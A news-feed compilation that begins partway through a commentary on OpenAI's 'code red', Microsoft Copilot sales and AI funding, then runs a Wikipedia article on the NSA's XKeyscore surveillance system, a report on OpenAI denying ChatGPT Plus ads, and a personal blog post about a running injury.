  • Gemini 3 is good/better at the stuff tested on benchmarks compared to what OpenAI has.
  • OpenAI's growth and usage was decelerating before this happened, and this just allows OpenAI to point to something.

I don't know about garlic or shallotpeat or whatever , but one has to wonder at some point what it is that OpenAI is doing all day :

Altman said Monday in an internal Slack memo that he was directing more employees to focus on improving features of ChatGPT, such as personalizing the chatbot for the more than 800 million people who use it weekly, including letting each of those people customize the way it interacts with them.

Altman also said other key priorities covered by the code red included Imagegen, the image-generating AI that allows ChatGPT users to create anything from interior-design mockups to turning real-life photos into animated ones. Last month, Google released its own image generation model, Nano Banana Pro, to strong reviews.

Altman said other priorities consisted of improving “model behavior” so that people prefer the AI models that powers ChatGPT more than models from competitors, including in public rankings such as LMArena; boosting ChatGPT’s speed and reliability; and minimizing overrefusals, a term that refers to when the chatbot refuses to answer a benign question.

So, OpenAI's big plan is to improve ChatGPT , make the image generation better , make people like the models better , improve rankings , make it faster, and make it answer more stuff.

I think it's fair to ask: what the fuck has OpenAI been doing this whole time if it isn't "make the model better" and "make people like ChatGPT more"? I guess the company shoved Sora 2 out the door — which is already off the top 30 free Android apps in the US and at 17 on the US free iPhone apps rankings as of writing this sentence after everybody freaked out about it hitting number one . All that attention, and for what?

Indeed, signs seem to be pointing towards reduced demand for these services. As The Information reported a few days ago ...

Multiple Microsoft divisions, for instance, have lowered how much salespeople are supposed to grow their sales of certain AI products after many of them missed sales-growth goals in the fiscal year that ended in June, according to two salespeople in Microsoft’s Azure cloud unit.

Microsoft, of course, disputed this, and said...

A Microsoft spokesperson said “aggregate sales quotas for AI products have not been lowered” but declined to comment specifically on the lowered growth targets. The spokesperson pointed to growth in the company’s overall cloud business, which has been lifted by rentals of AI servers by OpenAI and other AI developers.

Well, I don't think Microsoft has any problems selling compute to OpenAI — which paid it $8.67 billion just for inference between January and September — as I doubt there is any "sales team" having to sell compute to OpenAI.

But I also want to be clear that Microsoft added a word: "aggregate." The Information never used that word, and indeed nobody seems to have bothered to ask what "aggregate" means. I do, however, know that Microsoft has had trouble selling stuff. As I reported a few months ago, in August 2025 Redmond only had 8 million active paying licenses for Microsoft 365 Copilot out of the more-than-440 million people paying for Microsoft 365 .

In fact, here's a rundown of how well AI is going for Microsoft:

  • Its chips effort is falling behind , with its "Maya" AI chip delayed to 2026, and according to The Information, "when it finally goes into mass production next year, it’s expected to fall well short of the performance of Nvidia’s flagship Blackwell chip."
  • According to The Information in late October 2025 , "more customers have been using Microsoft’s suite of AI copilots, but many of them aren’t paying for it."
  • In October , Australian's Competition and Consumer Commission sued Microsoft for "allegedly misleading 2.7 million Australians over Microsoft 365 subscriptions," by making it seem like they had to pay extra and integrate Copilot into their subscription rather than buy the, and I quote, "undisclosed third option, the Microsoft 365 Personal or Family Classic plans, which allowed subscribers to retain the features of their existing plan, without Copilot, at the previous lower price."
  • According to The Information in September 2025 , Microsoft had to "partly" replace OpenAI's models with Anthropic's for some of its Copilot software. Microsoft has, at this point, sunk over ten billion dollars into OpenAI, and part of its return for doing so was exclusively being able to use its models. Cool!
  • According to The Information in September 2025 , Microsoft has had to push discounts for Office 365 Copilot as customers had "found Copilot adoption slow due to high cost and unproven ROI."
  • In late 2024 , customers had paused purchasing further Copilot assistants due to performance and cost issues.

Yet things are getting weird. Remember that OpenAI-NVIDIA deal? The supposedly "sealed" one where NVIDIA would invest $100 billion in OpenAI , with each tranche of $10 billion gated behind a gigawatt of compute? The one that never really seemed to have any fundament to it, but people reported as closed anyway? Well, per NVIDIA's most-recent 10-Q (emphasis mine):

Investment commitments are $6.5 billion as of October 26, 2025, including $5 billion in Intel Corporation which is subject to regulatory approval. In the third quarter of fiscal year 2026, we entered into a letter of intent with an opportunity to invest in OpenAI .

A letter of intent "with an opportunity" means jack diddly squat. My evidence? NVIDIA's follow-up mention of its investment in Anthropic:

In November 2025, we entered into an agreement, subject to certain closing conditions, to invest up to $10 billion in Anthropic.

This deal, as ever, was reported as effectively done , with NVIDIA investing $10 billion and Microsoft $5 billion, saying the word "will" as if the money had been wired, despite the "closing conditions" and the words "up to" suggesting NVIDIA hasn't really agreed how much it will really invest. A few weeks later, the Financial Times would report that Anthropic is trying to go public as early as 2026 and that Microsoft and NVIDIA's money would "form part of a funding round expected to value the group between $300bn and $350bn."

For some reason, Anthropic is hailed as some sort of "efficient" competitor to OpenAI, at least based on what both The Information and Wall Street Journal have said, yet it appears to be raising and burning just as much as OpenAI . Why did a company that's allegedly “reducing costs” have to raise $13 billion in September 2025 after raising $3.5 billion in March 2025 , and after raising $4 billion in November 2024 ? Am I really meant to read stories about Anthropic hitting break even in 2028 with a straight face? Especially as other stories say Anthropic will be cash flow positive “ as soon as 2027 .”

And if this company is so efficient and so good with money , why does it need another $15 billion, likely only a few months after it raised $13 billion? Though I doubt the $15 billion round closes this year, if it does, it would mean that Anthropic would have raised $31.5 billion in 2025 — which is, assuming the remaining $22.5 billion comes from SoftBank, not far from the $40.8 billion OpenAI would have raised this year.

In the event that SoftBank doesn't fund that money in 2025, Anthropic will have raised a little under $2 billion less ($16.5 billion) than OpenAI ($18.3 billion, consisting of $10 billion in June split between $7.5 billion from SoftBank and $2.5 billion from other investors, and an $8.3 billion round in August ) this year.

I think it's likely that Anthropic is just as disastrous a business as OpenAI, and I'm genuinely surprised that nobody has done the simple maths here, though at this point I think we're in the era of "not thinking too hard because when you do so everything feels crazy.”

Which is why I'm about to think harder than ever!

I feel like I'm asked multiple times a day both how and when the bubble will burst, and the truth is that it could be weeks or months or another year , because so little of this is based on actual, real stuff. While our markets are supported by NVIDIA's eternal growth engine, said growth engine isn't supported by revenues or real growth or really much of anything beyond vibes. As a result, it's hard to say exactly what the catalyst might be, or indeed what the bubble bursting might look like.

Today, I'm going to sit down and give you the scenarios — the systemic shocks — that would potentially start the unravelling of this era, as well as explain what a bubble bursting might actually look like, both for private and public companies.

This is the spiritual successor to August's AI Bubble 2027 , except I'm going to have a little more fun and write out a few scenarios that range from likely to possible , and try and give you an enjoyable romp through the potential apocalypses waiting for us in 2026.

XKeyscore

Hacker News
en.wikipedia.org
2025-12-07 20:54:16
Comments...
Original Article

From Wikipedia, the free encyclopedia

XKeyscore ( XKEYSCORE or XKS ) is a secret computer system used by the United States National Security Agency (NSA) for searching and analyzing global Internet data, which it collects in real time. The NSA has shared XKeyscore with other intelligence agencies, including the Australian Signals Directorate , Canada's Communications Security Establishment , New Zealand's Government Communications Security Bureau , Britain's Government Communications Headquarters , Japan's Defense Intelligence Headquarters , Germany's Bundesnachrichtendienst , and the Danish Defense Intelligence Service , the latter of which proceeded to use it to spy on the UK, Germany, and other key allies for the US. [ 1 ] [ 2 ] [ 3 ] [ 4 ]

In July 2013, Edward Snowden publicly revealed the program's purpose and use by the NSA in The Sydney Morning Herald and O Globo newspapers. The code name was already public knowledge because it was mentioned in earlier articles, and, like many other code names, it appears in job postings and online résumés of employees. [ 5 ] [ 6 ]

On July 3, 2014, German public broadcaster Norddeutscher Rundfunk , a member of ARD , published excerpts of XKeyscore's source code. [ 7 ] [ 8 ]

Scope and functioning

[ edit ]

XKeyscore is a complicated system, and various authors have different interpretations of its actual capabilities. Edward Snowden and Glenn Greenwald have said that XKeyscore is a system that enables almost unlimited surveillance of anyone anywhere in the world, while the NSA has claimed that usage of the system is limited and restricted. [ citation needed ]

According to The Washington Post and national security reporter Marc Ambinder , XKeyscore is an NSA data-retrieval system which consists of a series of user interfaces, backend databases , servers and software that selects certain types of data and metadata that the NSA has already collected using other methods. [ 9 ] [ 10 ]

According to Snowden and Greenwald

[ edit ]

On January 26, 2014, the German broadcaster Norddeutscher Rundfunk asked Edward Snowden in its TV interview: "What could you do if you would use XKeyscore?" and he answered: [ 4 ]

You could read anyone's email in the world, anybody you've got an email address for. Any website: You can watch traffic to and from it. Any computer that an individual sits at: You can watch it. Any laptop that you're tracking: you can follow it as it moves from place to place throughout the world. It's a one-stop-shop for access to the NSA's information. ... You can tag individuals ... Let's say you work at a major German corporation and I want access to that network, I can track your username on a website on a forum somewhere, I can track your real name, I can track associations with your friends and I can build what's called a fingerprint, which is network activity unique to you, which means anywhere you go in the world, anywhere you try to sort of hide your online presence, your identity.

According to The Guardian ' s Glenn Greenwald , low-level NSA analysts can, via systems like XKeyscore, "listen to whatever emails they want, whatever telephone calls, browsing histories, Microsoft Word documents. And it's all done with no need to go to a court, with no need to even get supervisor approval on the part of the analyst." [ 11 ]

He added that the NSA's database of collected communications allows its analysts to listen "to the calls or read the emails of everything that the NSA has stored, or look at the browsing histories or Google search terms that you've entered, and it also alerts them to any further activity that people connected to that email address or that IP address do in the future". [ 11 ]

According to the NSA

[ edit ]

Further information: SIGINT

In an official statement from July 30, 2013, the NSA said "XKeyscore is used as a part of NSA's lawful foreign signals intelligence collection system" to legally obtain information about "legitimate foreign intelligence targets in response to requirements that our leaders need for information necessary to protect our nation and its interests. ... to collect the information, that enables us to perform our missions successfully – to defend the nation and to protect U.S. and allied troops abroad." [ 12 ] In terms of access, an NSA press statement reads that there is no "unchecked analyst access to NSA collection data. Access to XKeyscore, as well as all of NSA's analytic tools, is limited to only those personnel who require access for their assigned tasks." and that there are "stringent oversight and compliance mechanisms built in at several levels. One feature is the system's ability to limit what an analyst can do with a tool, based on the source of the collection and each analyst's defined responsibilities." [ 13 ]

XKeyscore logo
XKeyscore logo
Slide from a 2008 NSA presentation about XKeyscore, showing a world map with the locations of XKeyscore servers
Slide from a 2008 NSA presentation about XKeyscore, showing the query hierarchy

According to an NSA slide presentation about XKeyscore from 2013, it is a " DNI Exploitation System/Analytic Framework". DNI stands for Digital Network Intelligence, which means intelligence derived from internet traffic. [ 14 ]

Edward Snowden said about XKeyscore: "It's a front end search engine" in an interview with the German Norddeutscher Rundfunk . [ 4 ]

XKeyscore is a "piece of Linux software that is typically deployed on Red Hat servers. It uses the Apache web server and stores collected data in MySQL databases". [ 15 ]

XKeyscore is considered a "passive" program, in that it listens, but does not transmit anything on the networks that it targets. [ 8 ] But it can trigger other systems, which perform "active" attacks through Tailored Access Operations which are "tipping", for example, the QUANTUM family of programs, including QUANTUMINSERT, QUANTUMHAND, QUANTUMTHEORY, QUANTUMBOT and QUANTUMCOPPER and Turbulence . These run at so-called "defensive sites" including the Ramstein Air Force base in Germany, Yokota Air Base in Japan, and numerous military and non-military locations within the US. Trafficthief, a core program of Turbulence, can alert NSA analysts when their targets communicate, and trigger other software programs, so select data is "promoted" from the local XKeyscore data store to the NSA's "corporate repositories" for long-term storage. [ 8 ]

XKeyscore consists of over 700 servers at approximately 150 sites where the NSA collects data, like "US and allied military and other facilities as well as US embassies and consulates" in many countries around the world. [ 16 ] [ 17 ] [ 18 ] Among the facilities involved in the program are four bases in Australia and one in New Zealand . [ 17 ]

According to an NSA presentation from 2008, these XKeyscore servers are fed with data from the following collection systems: [ 19 ]

  1. F6 (Special Collection Service) – joint operation of the CIA and NSA that carries out clandestine operations including espionage on foreign diplomats and leaders
  2. FORNSAT – which stands for "foreign satellite collection", and refers to intercepts from satellites
  3. SSO (Special Source Operations) – a division of the NSA that cooperates with telecommunication providers

In a single, undated slide published by Swedish media in December 2013, the following additional data sources for XKeyscore are mentioned: [ 20 ]

  1. Overhead – intelligence derived from American spy planes, drones and satellites
  2. Tailored Access Operations – a division of the NSA that deals with hacking and cyberwarfare
  3. FISA – all types of surveillance approved by the Foreign Intelligence Surveillance Court
  4. Third party – foreign partners of the NSA such as the (signals) intelligence agencies of Belgium, Denmark, France, Germany, Italy, Japan, the Netherlands, Norway, Sweden, etc. However the Netherlands is out of any cooperation concerning intelligence gathering and sharing for illegal spying.

From these sources, XKeyscore stores "full-take data", which is scanned by plug-ins that extract certain types of metadata (like phone numbers, e-mail addresses, log-ins, and user activity) and indexs them in metadata tables, which can be queried by analysts. XKeyscore has been integrated with MARINA , which is NSA's database for internet metadata. [ 14 ]

However, the system continuously gets so much Internet data that it can be stored only for short periods of time. Content data remains on the system for only three to five days, while metadata is stored for up to thirty days. [ 21 ] A detailed commentary on an NSA presentation published in The Guardian in July 2013 cites a document published in 2008 declaring that "At some sites, the amount of data we receive per day (20+ terabytes) can only be stored for as little as 24 hours." [ 22 ]

According to a document from an internal GCHQ website which was disclosed by the German magazine Der Spiegel in June 2014, there are three different types of the XKeyscore system: [ 23 ]

  • Traditional : The initial version of XKeyscore is fed with data from low-rate data signals, after being processed by the WEALTHYCLUSTER system. This traditional version is not only used by NSA but also at many intercept sites of GCHQ.
  • Stage 2 : This version of XKeyscore is used for higher data rates. The data is first processed by the TURMOIL system, which sends 5% of the internet data packets to XKeyscore. GCHQ only uses this version for collection under the MUSCULAR program.
  • Deep Dive : This latest version can process internet traffic at data rates of 10 gigabits per second. Data that could be useful for intelligence purposes is then selected and forwarded by using the "GENESIS selection language". GCHQ also operates a number of Deep Dive versions of XKeyscore at three locations under the codename TEMPORA . [ 24 ]
Slide from a 2008 NSA presentation about XKeyscore, showing the differences between the various NSA database systems

For analysts, XKeyscore provides a "series of viewers for common data types", which allows them to query terabytes of raw data gathered at the aforementioned collection sites. This enables them to find targets that cannot be found by searching only the metadata, and also to do this against data sets that otherwise would have been dropped by the front-end data processing systems. According to a slide from an XKeyscore presentation, NSA collection sites select and forward less than 5% of the internet traffic to the PINWALE database for internet content. [ 21 ]

Because XKeyscore holds raw and unselected communications traffic, analysts can not only perform queries using "strong selectors" like e-mail addresses, but also using "soft selectors", like keywords, against the body texts of e-mail and chat messages and digital documents and spreadsheets in English, Arabic and Chinese. [ 14 ]

This is useful because "a large amount of time spent on the web is performing actions that are anonymous" and therefore those activities can't be found by just looking for e-mail addresses of a target. When content has been found, the analyst might be able to find new intelligence or a strong selector, which can then be used for starting a traditional search. [ 14 ]

Besides using soft selectors, analysts can also use the following other XKeyscore capabilities: [ 14 ] [ 25 ]

  • Look for the usage of Google Maps and terms entered into a search engine by known targets looking for suspicious things or places.
  • Look for "anomalies" without any specific person attached, like detecting the nationality of foreigners by analyzing the language used within intercepted emails. An example would be a German speaker in Pakistan. The Brazilian paper O Globo claims that this has been applied to Latin America and specifically to Colombia, Ecuador, Mexico and Venezuela. [ 16 ] [ 26 ]
  • Detect people who use encryption by doing searches like "all PGP usage in Iran". The caveat given is that very broad queries can result in too much data to transmit back to the analyst.
  • Showing the usage of virtual private networks (VPNs) and machines that can potentially be hacked via TAO .
  • Track the source and authorship of a document that has passed through many hands.
  • On July 3, 2014 ARD revealed that XKeyscore is used to closely monitor users of the Tor anonymity network , [ 8 ] people who search for privacy-enhancing software on the web, [ 8 ] and readers of Linux Journal . [ 27 ]

The Guardian revealed in 2013 that most of these things cannot be detected by other NSA tools, because they operate with strong selectors (like e-mail and IP addresses and phone numbers) and the raw data volumes are too high to be forwarded to other NSA databases. [ 14 ]

In 2008, NSA planned to add a number of new capabilities in the future including access to VoIP and other, unspecified network protocols and additional forms of metadata such as Exif tags, which often include geolocation ( GPS ) data. [ 14 ]

Contribution to U.S. security

[ edit ]

The NSA slides published in The Guardian during 2013 claimed that XKeyscore had played a role in capturing 300 terrorists by 2008, [ 14 ] which could not be substantiated as the redacted documents do not cite instances of terrorist interventions.

A 2011 report from the NSA unit in the Dagger Complex (close to Griesheim in Germany) said that XKeyscore made it easier and more efficient to target surveillance. Previously, analysis often accessed data NSA was not interested in. XKeyscore allowed them to focus on the intended topics, while ignoring unrelated data. XKeyscore also proved to be outstanding for tracking active groups associated with the Anonymous movement in Germany, because it allows for searching on patterns, rather than particular individuals. An analyst is able to determine when targets research new topics, or develop new behaviors. [ 28 ]

To create additional motivation, the NSA incorporated various gamification features. For instance, analysts who were especially good at using XKeyscore could acquire "skilz" points and "unlock achievements." The training units in Griesheim were apparently successful and analysts there had achieved the "highest average of skilz points" compared with all other NSA departments participating in the training program. [ 28 ]

Usage by foreign partners of the NSA

[ edit ]

Excerpt of an NSA document leaked by Edward Snowden that reveals the BND 's usage of the NSA's XKeyscore to wiretap a German domestic target

According to documents Der Spiegel acquired from Snowden, the German intelligence agencies BND (foreign intelligence) and BfV (domestic intelligence) were also allowed to use the XKeyscore system. In those documents the BND agency was described as the NSA's most prolific partner in information gathering. [ 29 ] This led to political confrontations, after which the directors of the German intelligence agencies briefed members of the German parliamentary intelligence oversight committee on July 25, 2013. They declared that XKeyscore has been used by the BND since 2007 and that the BfV has been using a test version since 2012. The directors also explained that the program is not for collecting data, but rather only for the analysis of collected data. [ 30 ]

As part of the UKUSA Agreement , a secret treaty was signed in 1954 by Sweden with the United States, the United Kingdom, Canada, Australia and New Zealand (called the Five Eyes ) for the purpose of intelligence collaboration and data sharing . [ 31 ] According to documents leaked by Snowden, the National Defence Radio Establishment (FRA) has been granted access to XKeyscore. [ 32 ]

In an ongoing scandal, XKeyscore was part of the main package and the reason a new datacenter was needed, built in Sandager [ nl ] . In the 2020s, due to anti-American sentiment causing whistleblowers in the layers of Danish defense, the truth came out about the real usage in Danish state media. NSA gave FE access to their suite of spying software from NSA, in favor of spying on American allies such as Germany's Angela Merkel and Boris Johnson amongst a few in newer times. This deal has been ongoing since the visit to Copenhagen by President Bill Clinton in 1997, facilitated by then Danish Prime minister, Poul Nyrup Rasmussen. [ 3 ]

According to whistleblowers from the Danish secret police, and judicial evidence later presented in Danish court, the US has been and still is carrying out a massive spying operation on the western countries in Europe, with Denmark's help. [ 1 ]

The whistleblower itself was later leaked to be then-head of the Danish Intelligence Service, Lars Findsen. Additionally he leaked in court and through evidence presented in court, that there is an ongoing mass-surveillance program by NSA, not just on the American people themselves, but also of the world facilitated through multiple American "private" companies such as IBM and Google. Additionally making usage of high tech tools such as AI packet sniffing, aggressive red hatting, and other IT methods. [ 2 ] [ 33 ]

The classified documents leaked by Snowden also indicate that in April 2013, NSA had secretly provided the XKeyscore system to the DFS of Defense Intelligence Headquarters . [ 34 ]

  1. ^ a b Henley, Jon (May 31, 2021). "Denmark helped US spy on Angela Merkel and European allies – report" . The Guardian . Archived from the original on May 31, 2021 . Retrieved June 15, 2025 .
  2. ^ a b Davies, Harry (October 2, 2023). "Scandinavian spy drama: the intelligence chief who came under state surveillance" . The Guardian . Archived from the original on October 2, 2023 . Retrieved June 15, 2025 .
  3. ^ a b Bjørnager, Jens; Nielsen, Jens; Jensen, Henrik; McGhie, Steffen; Andersen, Simon (September 13, 2020). "Et pengeskab på Kastellet har i årtier gemt på et dybt fortroligt dokument. Nu er hemmeligheden brudt" [A safe at Kastellet has been hiding a highly confidential document for decades. Now the secret has been broken]. Archived from the original on September 13, 2020 . Retrieved June 15, 2025 .
  4. ^ a b c Seipel, Hubert (January 26, 2014). "Snowden Interview: Transcript" . Norddeutscher Rundfunk . p. 3. Archived from the original on January 28, 2014 . Retrieved May 6, 2019 .
  5. ^ Greenwald, Glenn ; Ackerman, Spencer (June 27, 2013). "How the NSA Is Still Harvesting Your Online Data – Files Show Vast Scale of Current NSA Metadata Programs, with One Stream Alone Celebrating 'One Trillion Records Processed' " . The Guardian . Archived from the original on August 4, 2013 . Retrieved August 5, 2013 . {{ cite news }} : CS1 maint: multiple names: authors list ( link )
  6. ^ Layne, Ken (June 18, 2013). "Job Networking Site LinkedIn Filled With Secret NSA Program Names" . Archived from the original on December 8, 2017 . Retrieved August 6, 2013 .
  7. ^ "xkeyscorerules100" . Panorama . ARD (broadcaster) . July 3, 2014. Archived from the original on July 7, 2014 . Retrieved July 4, 2014 .
  8. ^ a b c d e Jacob Appelbaum , A. Gibson, J. Goetz, V. Kabisch, L. Kampf, L. Ryge (July 3, 2014). "NSA targets the privacy-conscious" . Panorama . Norddeutscher Rundfunk. Archived from the original on July 3, 2014 . Retrieved July 4, 2014 . {{ cite news }} : CS1 maint: multiple names: authors list ( link )
  9. ^ Nakashima, Ellen (July 31, 2013). "Newly Declassified Documents on Phone Records Program Released" . The Washington Post . Archived from the original on July 2, 2014 . Retrieved August 6, 2013 .
  10. ^ Fisher, Max (August 1, 2013). "Is XKeyscore Still Active? Defense Contractor Posted a Job Listing for it 2 weeks Ago" . WorldViews, blog of The Washington Post . Retrieved August 6, 2013 .
  11. ^ a b Rea, Kari (July 28, 2013). "Glenn Greenwald: Low-Level NSA Analysts Have 'Powerful and Invasive' Search Tool" . ABC News . Archived from the original on July 30, 2013 . Retrieved August 4, 2013 .
  12. ^ Wills, Amanda (August 1, 2013). "New Snowden Leak: NSA Program Taps All You Do Online" . Mashable (via CNN ). Archived from the original on August 4, 2013 . Retrieved August 4, 2013 .
  13. ^ "Press Statement on 30 July 2013" (Press release). United States National Security Agency . August 1, 2013. Archived from the original on August 1, 2013.
  14. ^ a b c d e f g h Staff (July 31, 2013). "XKeyscore Presentation from 2008 – Read in Full" . The Guardian . Archived from the original on August 1, 2013 . Retrieved August 6, 2013 .
  15. ^ Lee, Micah; Greenwald, Glenn; Marquis-Boire, Morgan (July 2, 2015). "A Look at the Inner Workings of NSA's XKEYSCORE" . The Intercept . Retrieved July 2, 2020 .
  16. ^ a b Staff (c. 2013). "No alvo dos EUA – O big-brother na América Latina e no mundo" [Targeted By The U.S. – Big Brother in Latin America and in the World]. O Globo (in Portuguese). Archived from the original on July 12, 2013 . Retrieved August 5, 2013 .
  17. ^ a b Dorling, Philip (July 8, 2013). "Snowden Reveals Australia's Links to US Spy Web" . The Sydney Morning Herald . Archived from the original on August 10, 2013 . Retrieved August 2, 2013 .
  18. ^ Greenwald, Glenn ; Casado, Roberto Kaz e José (July 6, 2013). "EUA expandem o aparato de vigilância continuamente – Software de vigilância usa mais de 700 servidores espalhados pelo mundo" . O Globo (in Portuguese). Archived from the original on July 10, 2013 . Retrieved August 2, 2013 . {{ cite news }} : CS1 maint: multiple names: authors list ( link )
  19. ^ Ambinder, Marc (July 31, 2013). "What's XKEYSCORE?" . The Compass (blog of The Week ) . Archived from the original on January 30, 2014 . Retrieved August 4, 2013 .
  20. ^ Gunnar Rensfeldt. "Read the Snowden Documents From the NSA" . Sveriges Television . Archived from the original on February 9, 2014 . Retrieved December 21, 2013 .
  21. ^ a b See also: 3 slides about the XKeyscore program Archived February 2, 2014, at the Wayback Machine
  22. ^ Greenwald, Glenn (July 31, 2013). "XKeyscore: NSA tool collects 'nearly everything a user does on the internet' – XKeyscore Gives 'Widest-Reaching' Collection of Online Data – NSA Analysts Require No Prior Authorization for Searches – Sweeps Up Emails, Social Media Activity and Browsing History" Archived December 31, 2013, at the Wayback Machine . The Guardian . Retrieved August 1, 2013.
  23. ^ XKeyscoreTabs XKS Development Archived June 30, 2014, at the Wayback Machine , published by Der Spiegel on June 18, 2014
  24. ^ Der Spiegel: GCHQ report on the technical abilities of the powerful spying program TEMPORA, which allows for a "full take" Archived June 5, 2019, at the Wayback Machine
  25. ^ Gallagher, Sean (August 1, 2013). "NSA's Internet Taps Can Find Systems to Hack, Track VPNs and Word Docs – X-Keyscore Gives NSA the Ability to Find and Exploit Vulnerable Systems" . Ars Technica . Archived from the original on August 4, 2013 . Retrieved August 4, 2013 .
  26. ^ Greenwald, Glenn ; Casado, Roberto Kaz e José (July 13, 2013). "Espionagem dos EUA se espalhou pela América Latina – Depois do Brasil, Colômbia foi o país mais vigiado – Venezuela também entrou na mira de programas americanos" [U.S. Spying Spread Through Latin America – After Brazil, Colombia Was the Most Watched Country – Venezuela Also Came in the Crosshairs of American Programs]. O Globo (in Portuguese). Archived from the original on July 15, 2013 . Retrieved August 5, 2013 . {{ cite web }} : CS1 maint: multiple names: authors list ( link )
  27. ^ Kyle Rankin (July 3, 2014). "NSA: Linux Journal is an "extremist forum" and its readers get flagged for extra surveillance" . Archived from the original on July 3, 2014 . Retrieved July 3, 2014 .
  28. ^ a b Laura Poitras, Marcel Rosenbach and Holger Stark, Ally and Target: US Intelligence Watches Germany Closely Archived August 20, 2013, at the Wayback Machine , August 12, 2013.
  29. ^ "German Intelligence Agencies Used NSA Spying Program" . Der Spiegel . July 20, 2013. ISSN 2195-1349 . Retrieved September 14, 2024 .
  30. ^ Top Level Telecommunications, New slides about NSA collection programs Archived July 26, 2013, at the Wayback Machine , July 16, 2013
  31. ^ "Cold War treaty confirms Sweden was not neutral" . The Local . December 9, 2013. Archived from the original on December 11, 2013 . Retrieved December 12, 2013 .
  32. ^ Gunnar Rensfeldt. "Read the Snowden Documents From the NSA" . Sveriges Television . Archived from the original on February 9, 2014 . Retrieved December 12, 2013 .
  33. ^ "Ny afsløring: FE masseindsamler oplysninger om danskere gennem avanceret spionsystem" . DR (in Danish). September 24, 2020 . Retrieved September 24, 2020 .
  34. ^ Ryan Gallagher (April 24, 2017). "Japan made secret deals with the NSA that expanded global surveillance" . Archived from the original on April 24, 2017 . Retrieved April 24, 2017 .

Wikimedia Commons has media related to XKeyscore .

OpenAI denies rolling out ads on ChatGPT paid plans

Bleeping Computer
www.bleepingcomputer.com
2025-12-07 20:51:08
ChatGPT is allegedly showing ads to those who pay $20 for the Plus subscription, but OpenAI says this is an app recommendation feature, not an ad. [...]...
Original Article

OpenAI

OpenAI has denied the reports that it has rolled out ads on ChatGPT Plus after users spotted recommendations for shopping apps.

As potted on X , a ChatGPT Plus user casually asked a normal question about Windows BitLocker. While the AI answered the question, it also recommended shopping at Target for groceries.

Now, groceries or home food are clearly not related to BitLocker, but the "Shop for home and groceries" bubble still appears, and it's quite fair to assume that it's an ad.

GPT-ad
ChatGPT showing recommendation (or ad?) for Target

However, an OpenAI executive argues that this is not “not an ad” but an app recommendation from a pilot partner, and that the company wants app suggestions to appear more “organic” inside ChatGPT.

"We've launched apps from some of our pilot partners since DevDay, including Target, and have been working to make the discovery mechanism for apps more organic inside ChatGPT," Daniel McAuley wrote in a post on X.

"Our goal is that apps augment the ux when relevant to a conversation, and we're still working on it. Anyone can build apps using the apps SDK, and we plan to open submissions and the app directory soon," he explained.

For most people, it still looks and feels like an ad. You see a brand logo, a short shopping message, and a call-to-action, inside a paid product, even though you never asked about shopping or Target.

ChatGPT is automatically pushing a commercial suggestion into an answer, just like how recommendation appear in the Windows 11 Start menu, and still defending it.

tines

Break down IAM silos like Bitpanda, KnowBe4, and PathAI

Broken IAM isn't just an IT problem - the impact ripples across your whole business.

This practical guide covers why traditional IAM practices fail to keep up with modern demands, examples of what "good" IAM looks like, and a simple checklist for building a scalable strategy.

Iustin Pop: Yes, still alive!

PlanetDebian
k1024.org
2025-12-07 20:37:00
Yeah, again three months have passed since my last (trivial) post, and I really don’t know where the time has flown. I suppose the biggest problem was the long summer vacation, which threw me off-track, and then craziness started. Work work work, no time for anything, which kept me fully busy in Aug...
Original Article

Yeah, again three months have passed since my last (trivial) post, and I really don’t know where the time has flown.

I suppose the biggest problem was the long summer vacation, which threw me off-track, and then craziness started. Work work work, no time for anything, which kept me fully busy in August, and then “you should travel”.

So mid-September I went on my first business trip since Covid, again to Kirkland, which in itself was awesome. Flew out Sunday, and as I was concerned I was going to lose too much fitness—had a half-marathon planned on the weekend after the return—I ran every morning of the four days I was there. And of course, on the last day, I woke up even earlier (05:30 AM), went out to run before sunrise, intending to do a very simple “run along the road that borders the lake for 2.5K, then back”. And right at the farthest point, a hundred metres before my goal of turning around, I tripped, started falling, and as I was falling, I hit—sideways—a metal pole. I was in a bus station, it was the pole that has the schedule at the top, and I hit it at relatively full speed, right across my left-side ribs. The crash took the entire air out of my lungs, and I don’t remember if I ever felt pain/sensation like that—I was seriously not able to breathe for 20 seconds or so, and I was wondering if I’m going to pass out at this rate.

Only 20 seconds, because my Garmin started howling like a police siren, and the screen was saying something along the lines of: “Incident detected; contacting emergency services in 40…35…” and I was fumbling to cancel that, since a) I wasn’t that bad, b) notifying my wife that I had a crash would have not been a smart idea.

My left leg was scraped in a few places, my left hand pretty badly, or more than just scraped, so my focus was on limping back, and finding a fountain to wash my injuries, which I did, so I kept running with blood dripping down my hand. Fun fun, everything was hurting, I took an Uber for the ~1Km to the office, had many meetings, took another Uber and flew back to Zurich. Seattle → San Francisco → Zürich, I think 14 hours, with my ribs hurting pretty badly. But I got home (Friday afternoon), and was wondering if I can run or not on Saturday.

Saturday comes, I feel pretty OK, so I said let’s try, will stop if the pain is too great. I pick up my number, I go to the start, of course in the last block and not my normal block, and I start running. After 50 metres, I knew this won’t be good enough, but I said, let’s make it to the first kilometre. Then to the first fuelling point, then to the first aid point, at which moment I felt good enough to go to the second one.

Long story short, I ran the whole half marathon, with pain. Every stop for fuelling was mentally hard, as the pain stopped, and I knew I had to start running again, and the pain would resume. In the end, managed to finish: two and a half hours, instead of just two hours, but alive and very happy. Of course, I didn’t know what was waiting for me… Sunday I wake up in heavy pain, and despite painkillers, I was not feeling much better. The following night was terrible, Monday morning I went to the doctor, had X-rays, discussion with a radiologist. “Not really broken, but more than just bruised. See this angle here? Bones don’t have angles normally”. Painkillers, chest/abdomen wrapping, no running! So my attempts to “not lose fitness” put me off running for a couple of weeks.

Then October came, and I was getting better, but work was getting even more crazy. I don’t know where November passed, honestly, and now we’re already in December. I did manage to run, quite well, managed to bike a tiny bit and swim a little, but I’m not in a place where I can keep a regular and consistent schedule.

On the good side, I managed this year, for the first time since Covid, to not get sick. Hey, a sport injury is 100× better than a sickness, like I had in previous years, taking me out for two weeks. But life was crazy enough that I didn’t read some of my email accounts for months, and I’m just now starting to catch up to, well, baseline.

Of course, “the” rib—the lowest one on the left side—is long-healed, or so I thought. After some strength training early this week, I was very sore the next day, and I wanted to test whether my rib is still sore. I touched it at “the point”, and it hurt so badly I couldn’t believe. Two and a half months, and it’s not done-done.

And now it’s just two weeks before Christmas and New Year’s, and that time off will ruin my rhythm again. At least ski vacation is booked, ski service is done, and slowly, work is getting in good enough shape to actually enjoy thinking about vacation.

So, in the end, a very adventurous last third of the year, and that wasn’t even all. As I’m writing this, my right wrist is bandaged and for the past 24 hours it hasn’t hurt too much, but that’s another, and not so interesting, story.

